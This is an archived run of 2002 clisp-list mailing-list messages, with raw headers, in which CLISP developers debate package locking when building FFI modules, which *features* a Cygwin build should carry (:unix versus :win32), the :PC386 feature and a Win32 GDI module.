text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Thu, Apr 25, 2002 at 04:43:41PM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 25 23:27:01 2002 X-Original-Date: Fri, 26 Apr 2002 08:12:04 +0200 On Thu, Apr 25, 2002 at 04:43:41PM -0400, Sam Steingold wrote: > > In an attempt to recreate the problem, so I could experiment with > > using mark_pack_unlocked. But it all compiles fine, with no > > complaints about locked packages!!!! And with > > #'foreign-address-function, etc in "FFI". > > > > What the fuck is going on? > > I am afraid I do not understand either what you are doing nor what you > are trying to accomplish. > I am tempted to just say, forget it! Instead, if you can be bothered to read it, here's an executive summary, with references: 1) When building external modules with clisp-link, with a def-call-in, Clisp segfaulted and reported bizarre things about terminal streams. 2) It turned out this was a result of (a combination) 1) Not using TO_PRELOAD to predefine needed packages 2) Early initialisation error see: http://www.geocrawler.com/lists/3/SourceForge/1124/225/8282050/ 3) Joerg reported a problem about packages being locked, at the same time as he posted dynload.d to the list see: http://www.geocrawler.com/lists/3/SourceForge/1124/200/8302221/ You can't see the attachments on geocrawler, but if you have dynload.d or the later ffimext.d, you will see that there is a comment to the effect that module support is broken, due to locking, and that is why '#define ffi "USER"' was done. *I assumed that this was correct.* When you (Sam) wrote that this was a non-existent problem see: http://www.geocrawler.com/lists/3/SourceForge/1124/0/8496506/ I decided to reconstruct the problem by changing '#define ffi "USER"' to '#define ffi "FFI"'. I believed that when I recompiled after this change, that I would get an error about locked packages. I didn't. Therefore my confusion. Joerg, is there really a problem with package locking? If not, why is ffi defined to "USER" in dynload.d? Sam, please don't cc to me. I am on the list, and get all mail sent to the list. It's annoying getting duplicates. Regards, Peter From Joerg-Cyril.Hoehle@t-systems.com Fri Apr 26 00:22:13 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17103X-0002gQ-00 for ; Fri, 26 Apr 2002 00:22:11 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 26 Apr 2002 09:20:43 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 26 Apr 2002 09:21:56 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Cygwin feature MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 26 00:23:02 2002 X-Original-Date: Fri, 26 Apr 2002 09:21:52 +0200 Marco Antoniotti > I strongly, strongly disagree. It does not make sense. The fact that > something in the "a build" does not mean that it makes sense. It's not just in the build. It's a sophisticated emulator. Somebody once told me he once tried this out: On his Amiga, run the Atari Emulator. In the Atari emulator, run the Macintosch emulator. (Maybe in the Macintoch emulator, run the Commodore 64 emulator). It all worked. Now suppose he'd be running MCL inside the Mac emulator. Do you expect the application to detect the Amiga? No, of course not. All MCL sees is a Macintosh. Back to cygwin. I believe there could be some misunderstanding about what cygwin is. It's a sophisticated emulator. It's not just a link library which e.g. provides UNIX-like read+write() C API for MS-DOS. If it were just that, the term "in the build" would apply. IMHO, cygwin provides you with a lot of UNIX without the need to reboot from another partition. It's still an emulator. Applications therein expect UNIX/POSIX behaviour and semantics. CYGWIN-CLISP doesn't even understand MS-DOS pathnames. Could you image a programmer on some foreign Lisp system (ACL, LW, Corman) running on MS-Windows write an application with #+WIN32 in mind, whom CLISP people would have to tell "#+WIN32 "C:\\foo\\bar" is not portable"? "Because cygwin claims WIN32 but doesn't even understand native pathnames?"? That's a bad joke, isn't it? :UNIX must be there for cygwin, :WIN32 must not. Regards, Jorg Hohle From Joerg-Cyril.Hoehle@t-systems.com Fri Apr 26 00:52:30 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1710Wq-0007U3-00 for ; Fri, 26 Apr 2002 00:52:28 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 26 Apr 2002 09:50:38 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 26 Apr 2002 09:51:50 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] :PC386 feature Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 26 00:53:06 2002 X-Original-Date: Fri, 26 Apr 2002 09:51:49 +0200 While we're at it: :PC386 is not in the *features* list of my build (MS-VC): (:CLOS :LOOP :COMPILER :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :FFI :UNICODE :BASE-CHAR=CHARACTER :SYSCALLS :DIR-KEY :WIN32) According to impnotes, it should: "if hardware = PC (clone) with a 386/486/586/686 CPU". BTW, I just went to cliki and added a little about CLISP's *features* list. http://ww.telent.net/cliki/Features is #define WIN32 => #define PC386 ok for now? How to detect a WIN32 not on Intel? Is there CLISP for MS-Windows on alpha?? Regards, Jorg Hohle From Joerg-Cyril.Hoehle@t-systems.com Fri Apr 26 03:52:03 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1713Kb-0000wf-00 for ; Fri, 26 Apr 2002 03:52:01 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 26 Apr 2002 12:50:38 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 26 Apr 2002 12:51:50 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] win32 gdi MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 26 03:53:03 2002 X-Original-Date: Fri, 26 Apr 2002 12:51:45 +0200 Von: Dan Stanger wrote: > I have put a new tgz of my gdi module on my web site > www.diac.com/~dxs/gdi.tar.gz > It contains a working hello world program. I would appreciate any > comments on it. I managed to compile and link it using MS-VC as well (Dan uses cygwin), with minor patches - sent privately. I don't know what to do with GDI, but I got a HUGE "hello world!" painted across my screen :-) Excellent work-in-progress! Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Fri Apr 26 04:21:58 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1713nY-0005dl-00 for ; Fri, 26 Apr 2002 04:21:56 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 26 Apr 2002 13:20:30 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 26 Apr 2002 13:21:43 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] module support MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 26 04:22:08 2002 X-Original-Date: Fri, 26 Apr 2002 13:21:36 +0200 Peter, > I have to ask: What did Napoleon say??? approximately "N'attribuez pas a la malice ce qui peut etre explique par l'incompetence." -- don't believe wisdom is involved when a simpler explanation may be incompetence or ignorance. About modules and package locks: Dan Stanger's GDI has a file to preload which reads as follows: (MAKE-PACKAGE "GDI"). That's all - 1MB for that. Then you must dump an image with an old lisp, then you must create a lisp.exe with the module, then you can make use of it. The extra image (of little added value) until now cannot be avoided. This waters the recommendation in my article on modules, where I explain that it's much better (on disk space and flexibility) to have a single original image, as module initialization time is negligible. With such an old image, you can later create any lisp.exe with as many modules as you want and never have CLISP complain "this image was not generated with this version of CLISP". With the current state, this is broken, - for extensions to the FFI because of locking (dynload), - for new packages because they must be created first (GDI, LDAP) > A "works for me" patch is fine. Anyway, it will help anyone who > writes or wants to write modules by hand. I hope to get around to > hand-written modules real soon now (TM) :-) It would indeed help Dan. His GDI would not need an extra image anymore before lisp.run can start. I'll submit a patch to a) create package if needed b) unlock package for every LISPFUN found in the module. > In an attempt to recreate the problem, so I could experiment with > using mark_pack_unlocked. But it all compiles fine, with no > complaints about locked packages!!!! And with > #'foreign-address-function, etc in "FFI". > What the fuck is going on? I have an explanation. It all depends on the order in which you compiled the successive CLISP's with and without modules, created the images etc. Here's how: Start with a virgin lisp.run, without -M: Package FFI is there, unlocked. Recompile to use module dynload. Create image using this lisp: lisp-with-dynload.run -x (load "init.fas") -> module is initialized first, FFI is not locked. -> image is created, with all packages locked. But dynload is already there, and it's in package FFI. So with the FFI package, you happen to be safe. Not so for new packages, e.g. GDI, because they were not created. Now the other scenario: user has lisp.exe and old lispinit.mem Recreate lisp.exe with dynload.d lisp-with-dynload.exe -M lispinit.mem => attempt to add to locked FFI package error lisp-with-dynload.exe without -M : no error lisp-with-dynload.exe -x (load "init.fas"): can create new image with DYNLOAD in it. lisp-with-dynload.exe -M newimage: no error, already initialized So depending on the path taken by the user, s/he might see errors or not... I hate this inconsistent (to the user) behaviour. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Fri Apr 26 05:22:26 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1714k4-00017u-00 for ; Fri, 26 Apr 2002 05:22:25 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 26 Apr 2002 14:21:01 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 26 Apr 2002 14:22:14 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] module support MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 26 05:23:03 2002 X-Original-Date: Fri, 26 Apr 2002 14:22:14 +0200 Hi, Peter asked: > > What the fuck is going on? [long hypothesis of mine deleted] Maybe there's a simpler explanation: I just created a new lisp.exe (no modules) and new lispimag.mem: ...\clisp-2.28\src>lisp.exe -B . -Efile UTF-8 -norc -m 750KW -x "(load \"init.fas\") (sys::%saveinitmem) (exit)" ...\clisp-2.28\src>lisp.exe -M lispimag.mem [...] [1]> (package-lock "FFI") NIL [2]> (package-lock "SYS") NIL ? Some older images of mine have the locks in them?!?! I see, it should have been: -x "(load \"init.fas\") (saveinitmem) (exit)" How did you dump your images? Regards, Jorg Hohle. Patch will be sent to SF. Now I can > oldlisp.exe -M oldlispinit.mem -i gdi.fas and don't need that stupid interim image anymore. From marcoxa@cs.nyu.edu Fri Apr 26 06:38:31 2002 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1715vi-00023U-00 for ; Fri, 26 Apr 2002 06:38:30 -0700 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.11.6/8.9.3) id g3QDcFg04260; Fri, 26 Apr 2002 09:38:15 -0400 Message-Id: <200204261338.g3QDcFg04260@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: rrschulz@cris.com CC: clisp-list@lists.sourceforge.net In-reply-to: <5.1.0.14.2.20020425131501.01c63878@pop3.cris.com> (message from Randall R Schulz on Thu, 25 Apr 2002 13:22:55 -0700) Subject: Re: [clisp-list] cygwin References: <5.1.0.14.2.20020425131501.01c63878@pop3.cris.com> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 26 06:39:34 2002 X-Original-Date: Fri, 26 Apr 2002 09:38:15 -0400 > X-Sender: rrschulz@pop3.cris.com > From: Randall R Schulz > Content-Type: text/plain; charset="us-ascii"; format=flowed > Sender: clisp-list-admin@lists.sourceforge.net > X-BeenThere: clisp-list@lists.sourceforge.net > X-Mailman-Version: 2.0.9-sf.net > Precedence: bulk > Date: Thu, 25 Apr 2002 13:22:55 -0700 > > Hi, > > I've been following this, and although I'd say it's not at all obvious what > to do, I lean towards _not_ enabling the :mswindows feature for the > Cygwin-hosted version of CLISP. For any practical purpose, the fact that > there's Windows "down below" is neither apparent nor meaningfully > accessible. So, your argument is that :unix with :cygwin is "a matter of practicality". I.e. we are in a "worse is better" vs. "the right thing" fight. > Cygwin does accept both kinds of path names, it's true, but first and > foremost it is a POSIX emulation environment. To a first, and very good > approximation, Cygwin is a Unix-like environment, not Windows. > > Perhaps the entire feature scheme needs to be rethought in face of > emulation environments like Cygwin and Wine? It surely looks like this. As a matter of fact I may be convinced that the right combination of features may be (and :posix :mswindows) or (and :cygwin :posix :mswindows) But please! No :unix on a MS Windows implementation. Cheers -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From sds@gnu.org Fri Apr 26 07:38:12 2002 Received: from adsl-151-203-48-59.bostma.adsl.bellatlantic.net ([151.203.48.59] helo=loiso.podval.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1716rT-0003TZ-00 for ; Fri, 26 Apr 2002 07:38:11 -0700 Received: (from sds@localhost) by loiso.podval.org (8.11.6/8.11.6) id g3QEbv614156; Fri, 26 Apr 2002 10:37:57 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] :PC386 feature References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 Message-ID: Lines: 43 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 26 07:39:05 2002 X-Original-Date: 26 Apr 2002 10:37:57 -0400 > * In message > * On the subject of "[clisp-list] :PC386 feature" > * Sent on Fri, 26 Apr 2002 09:51:49 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > While we're at it: > > :PC386 is not in the *features* list of my build (MS-VC): > > (:CLOS :LOOP :COMPILER :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER > :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :FFI :UNICODE > :BASE-CHAR=CHARACTER :SYSCALLS :DIR-KEY :WIN32) > > According to impnotes, it should: "if hardware = PC (clone) with a > 386/486/586/686 CPU". who uses this feature? what is it for? can it be removed? Right now it is not used by CLISP, and it does not even conform to the docs (on linux/i386 :PC386 is present even though on a :UNIX hardware is supposed to be irrelevant.) Bruno, could you please comment on what this feature is for? > BTW, I just went to cliki and added a little about CLISP's *features* list. > http://ww.telent.net/cliki/Features thanks! > is #define WIN32 => #define PC386 ok for now? I am not sure what you mean, but I think that :PC386 should _not_ be there on linux/i386 but _should_ be there on w32/i386 (if we actually get to keep this feature on the *FEATURES* list). > How to detect a WIN32 not on Intel? Is there CLISP for MS-Windows on alpha?? win32 support for non-Intel platforms has been dropped by MS many years ago. why would _we_ support MS systems that MS does not support?! -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux There is an exception to every rule, including this one. From samuel.steingold@verizon.net Fri Apr 26 08:08:10 2002 Received: from out011pub.verizon.net ([206.46.170.135] helo=out011.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1717KO-0000Ex-00 for ; Fri, 26 Apr 2002 08:08:04 -0700 Received: from gnu.org ([151.203.48.59]) by out011.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020426150746.DOMO22619.out011.verizon.net@gnu.org>; Fri, 26 Apr 2002 10:07:46 -0500 To: Marco Antoniotti Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] cygwin References: <5.1.0.14.2.20020425131501.01c63878@pop3.cris.com> <200204261338.g3QDcFg04260@octagon.mrl.nyu.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200204261338.g3QDcFg04260@octagon.mrl.nyu.edu> Message-ID: Lines: 44 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 26 08:11:40 2002 X-Original-Date: 26 Apr 2002 11:07:44 -0400 > * In message <200204261338.g3QDcFg04260@octagon.mrl.nyu.edu> > * On the subject of "Re: [clisp-list] cygwin" > * Sent on Fri, 26 Apr 2002 09:38:15 -0400 > * Honorable Marco Antoniotti writes: > > > X-Sender: rrschulz@pop3.cris.com > > From: Randall R Schulz > > Content-Type: text/plain; charset="us-ascii"; format=flowed > > Sender: clisp-list-admin@lists.sourceforge.net > > X-BeenThere: clisp-list@lists.sourceforge.net > > X-Mailman-Version: 2.0.9-sf.net > > Precedence: bulk > > Date: Thu, 25 Apr 2002 13:22:55 -0700 could you please trim these before replying? Quoting things like "Precedence" and "X-Mailman-Version" makes no sense. You can keep "Date" and "Sender", if you really want, but... [just in case: each of my 4 lines above contain important information, as opposed to "Content-Type" and "X-BeenThere"] > > Cygwin does accept both kinds of path names, it's true, but first > > and foremost it is a POSIX emulation environment. To a first, and > > very good approximation, Cygwin is a Unix-like environment, not > > Windows. yes. if you want a CLISP with #+WIN32, you can compile CLISP with mingw of MSVC. CLISP under cygwin does not understand "c:\\foo\\bar" and thus has no right to have #+WIN32. How many people out there have things like (defvar *my-path* #+win32 "c:\\foo\\bar" #-win32 "~/foo/bar") > No :unix on a MS Windows implementation. clisp compiled by cygwin is not a MS Windows implementation. if cygwin will be ported to, say, macos, clisp/cygwin will not be a macos implementation. I agree with Joerg 100%. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux The world is coming to an end. Please log off. From haible@ilog.fr Fri Apr 26 08:31:44 2002 Received: from sceaux.ilog.fr ([193.55.64.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1717hE-00045O-00 for ; Fri, 26 Apr 2002 08:31:40 -0700 Received: from ftp.ilog.fr (ftp.ilog.fr [193.55.64.11]) by sceaux.ilog.fr (8.11.6/8.11.6) with SMTP id g3QFT3B25627 for ; Fri, 26 Apr 2002 17:29:03 +0200 (MET DST) Received: from laposte.ilog.fr ([193.55.64.67]) by ftp.ilog.fr (NAVGW 2.5.1.16) with SMTP id M2002042617312330269 ; Fri, 26 Apr 2002 17:31:23 +0200 Received: from honolulu.ilog.fr ([172.17.4.159]) by laposte.ilog.fr (8.11.6/8.11.5) with ESMTP id g3QFVL228648; Fri, 26 Apr 2002 17:31:21 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id RAA06133; Fri, 26 Apr 2002 17:29:37 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15561.29281.662083.923420@honolulu.ilog.fr> To: sds@gnu.org Cc: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] :PC386 feature In-Reply-To: References: X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 26 08:32:29 2002 X-Original-Date: Fri, 26 Apr 2002 17:29:37 +0200 (CEST) Sam writes: > > According to impnotes, it should: "if hardware = PC (clone) with a > > 386/486/586/686 CPU". > > who uses this feature? what is it for? It is used to declare availability of typical PC facilities, like a console with a graphics mode that differs from the text mode, or a keyboard with function keys F1..F12. Things which are orthogonal to the OS. > can it be removed? I don't see the point of removing hardware indicators from *features*. > Right now it is not used by CLISP Applications of the SCREEN package need it. > (on linux/i386 :PC386 is present even though on a :UNIX hardware is > supposed to be irrelevant.) Even on Unix, the availability of F1..F12 is important enough. > > is #define WIN32 => #define PC386 ok for now? Yes. Up to now, Woe32 runs only on x86 compatible processors. If Woe32 ever gets ported to IA-64, the machines on which it will run will likely have a PC compatible hardware. Bruno From rrschulz@cris.com Fri Apr 26 08:52:42 2002 Received: from darius.concentric.net ([207.155.198.79]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17181M-0007Op-00 for ; Fri, 26 Apr 2002 08:52:33 -0700 Received: from mcfeely.concentric.net (mcfeely.concentric.net [207.155.198.83]) by darius.concentric.net [Concentric SMTP Routing 1.0] id g3QFpxO16623 for ; Fri, 26 Apr 2002 11:52:09 -0400 (EDT) Received: from Clemens.cris.com (da003d0445.sjc-ca.osd.concentric.net [64.1.1.190]) by mcfeely.concentric.net (8.9.1a) id LAA09402; Fri, 26 Apr 2002 11:51:42 -0400 (EDT) Message-Id: <5.1.0.14.2.20020426080453.027e4588@pop3.cris.com> X-Sender: rrschulz@pop3.cris.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Randall R Schulz Subject: Re: [clisp-list] cygwin In-Reply-To: <200204261338.g3QDcFg04260@octagon.mrl.nyu.edu> References: <5.1.0.14.2.20020425131501.01c63878@pop3.cris.com> <5.1.0.14.2.20020425131501.01c63878@pop3.cris.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 26 08:54:13 2002 X-Original-Date: Fri, 26 Apr 2002 08:52:26 -0700 Marco, At 06:38 2002-04-26, Marco Antoniotti wrote: > > From: Randall R Schulz > > Date: Thu, 25 Apr 2002 13:22:55 -0700 > > > > Hi, > > > > I've been following this, and although I'd say it's not at all obvious > what > > to do, I lean towards _not_ enabling the :mswindows feature for the > > Cygwin-hosted version of CLISP. For any practical purpose, the fact that > > there's Windows "down below" is neither apparent nor meaningfully > > accessible. > >So, your argument is that :unix with :cygwin is "a matter of >practicality". I.e. we are in a "worse is better" vs. "the right >thing" fight. I'm not "fighting" for, against or about anything. I never advocate for a "worse is better" perspective, not do I see how such a characterization fits my observation that Cygwin programs are insulated from the MS Windows environment below. > > Cygwin does accept both kinds of path names, it's true, but first and > > foremost it is a POSIX emulation environment. To a first, and very good > > approximation, Cygwin is a Unix-like environment, not Windows. > > > > Perhaps the entire feature scheme needs to be rethought in face of > > emulation environments like Cygwin and Wine? > >It surely looks like this. As a matter of fact I may be convinced >that the right combination of features may be > > (and :posix :mswindows) > >or > > (and :cygwin :posix :mswindows) > >But please! No :unix on a MS Windows implementation. Cygwin is certainly a POSIX environment, so not to have :posix seems wrong. I don't have a strong opinion on this and probably don't understand CLISP well enough to make a strong statement, but if I'm advocating anything, it's that :mswindows is inappropriate for the Cygwin port. If I get some time, I'll try to pose a "philosophical" question about this for the Cygwin list to see what programmers doing Cygwin ports of similar programming environments do in circumstances like these. However, to compound the problem, I have to point out that Sam's remark: >... CLISP under cygwin does not understand "c:\\foo\\bar" Is not exactly true, at least not as far as the Cygwin underpinnings are concerned. Cygwin includes name and PATH translation routines, and more to the point, it is itself perfectly capable of understanding file name strings in either native Windows format or in POSIX format. The problem, if there is one, is for programs that examine path names rather than treat them as structureless blobs to be accepted, saved and / or passed on. Programs that believe they understand path name syntax and that want to take advantages of Cygwin's flexibility of path name syntax must know that they're in a dual-syntax environment. Perhaps, Sam, what you're saying is that as a program that does examine and parse path names CLISP must be configured to assume one or the other formats? >Cheers > >-- >Marco Antoniotti Randall Schulz Mountain View, C USA From peter.wood@worldonline.dk Fri Apr 26 09:58:50 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17193Z-0001t3-00 for ; Fri, 26 Apr 2002 09:58:49 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 0FE15B4CB for ; Fri, 26 Apr 2002 18:58:46 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g3QGi0W00148; Fri, 26 Apr 2002 18:44:00 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] module support Message-ID: <20020426184400.A133@localhost.localdomain> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from Joerg-Cyril.Hoehle@t-systems.com on Fri, Apr 26, 2002 at 02:22:14PM +0200 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 26 09:59:37 2002 X-Original-Date: Fri, 26 Apr 2002 18:44:00 +0200 Hi, On Fri, Apr 26, 2002 at 02:22:14PM +0200, Hoehle, Joerg-Cyril wrote: > Maybe there's a simpler explanation: > > I just created a new lisp.exe (no modules) and new lispimag.mem: > ...\clisp-2.28\src>lisp.exe -B . -Efile UTF-8 -norc -m 750KW -x > "(load \"init.fas\") (sys::%saveinitmem) (exit)" > ...\clisp-2.28\src>lisp.exe -M lispimag.mem > [...] > [1]> (package-lock "FFI") > NIL > [2]> (package-lock "SYS") > NIL > ? > Some older images of mine have the locks in them?!?! > > I see, it should have been: -x "(load \"init.fas\") (saveinitmem) (exit)" > > How did you dump your images? I didn't. The build process did it for me. I am building with the patches to 'configure' and 'makemake.in' which I sent to the list, and which allow building the new ffi 'normally'. There does not appear to be any problem with package locking: certainly, I redefined ffi to "FFI" in dynload.d and ffimext.d, and I do not get errors. Regards, Peter From lin8080@freenet.de Sat Apr 27 20:01:46 2002 Received: 